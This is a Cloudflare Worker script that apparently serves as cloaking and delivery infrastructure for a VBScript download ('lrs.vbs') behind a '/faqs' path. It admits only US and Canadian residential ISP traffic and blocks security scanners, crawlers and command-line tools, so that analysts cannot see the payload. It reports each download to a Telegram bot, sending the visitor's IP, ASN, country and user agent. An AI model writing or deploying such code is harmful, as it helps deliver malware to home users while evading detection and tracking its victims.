export default { async fetch(request) { const url = new URL(request.url); const ua = request.headers.get("user-agent") || ""; const accept = request.headers.get("accept") || ""; const lang = request.headers.get("accept-language") || ""; const secFetchSite = request.headers.get("sec-fetch-site") || ""; const secFetchMode = request.headers.get("sec-fetch-mode") || ""; const secFetchDest = request.headers.get("sec-fetch-dest") || ""; const asn = request.cf?.asn; const country = request.cf?.country || "Unknown"; // ========================= // ALLOWED ISP ASNs // ========================= const allowedASNs = [ // Comcast 7922, // AT&T 7018, // Verizon 701, 6167, // T-Mobile 21928, // Spectrum / Charter 20115, // Cox 22773, // CenturyLink / Lumen 209, // Frontier 5650, // Optimum / Altice 6128, // Rogers 812, // Bell Canada 577, // Telus 852 ]; // ========================= // BLOCK NON-ISP NETWORKS // ========================= if (!allowedASNs.includes(asn)) { return new Response("Blocked", { status: 403 }); } // ========================= // OPTIONAL COUNTRY FILTER // ========================= const allowedCountries = ["US", "CA"]; if (!allowedCountries.includes(country)) { return new Response("Blocked", { status: 403 }); } // ========================= // BOT KEYWORDS // ========================= const botPatterns = [ "bot", "spider", "crawl", "scanner", "preview", "curl", "python", "wget", "axios", "node-fetch", "headless", "phantom" ]; if (botPatterns.some(b => ua.toLowerCase().includes(b))) { return new Response("Blocked", { status: 403 }); } // ========================= // REQUIRE REAL BROWSER SIGNALS // ========================= if ( !accept.includes("text/html") || !lang || !secFetchSite || !secFetchMode || !secFetchDest ) { return new Response("Blocked", { status: 403 }); } // Only allow normal navigation if ( secFetchMode !== "navigate" || secFetchDest !== "document" ) { return new Response("Blocked", { status: 403 }); } // ========================= // SECURITY HEADERS // ========================= const securityHeaders = { "Content-Type": "text/html; charset=UTF-8", "Cache-Control": "no-store", "X-Frame-Options": "DENY", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "same-origin" }; // ========================= // DOWNLOAD PAGE // ========================= if (url.pathname === "/faqs") { const fileUrl = "lrs.vbs"; // TELEGRAM ALERT const botToken = "BOT-TOKEN"; const chatId = "CHAT-ID"; const ip = request.headers.get("cf-connecting-ip") || "Unknown IP"; const time = new Date().toISOString(); const message = ` 📥 New Download 🌍 Country: ${country} 🌐 IP: ${ip} 🏢 ASN: ${asn} 🖥 UA: ${ua} ⏰ Time: ${time} `; try { await fetch( `https://api.telegram.org/bot${botToken}/sendMessage`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: chatId, text: message }) } ); } catch (e) {} return new Response(`

Downloading... If it doesn't start, click here .

`, { headers: securityHeaders }); } // ========================= // LANDING PAGE // ========================= return new Response(` `, { headers: securityHeaders }); } }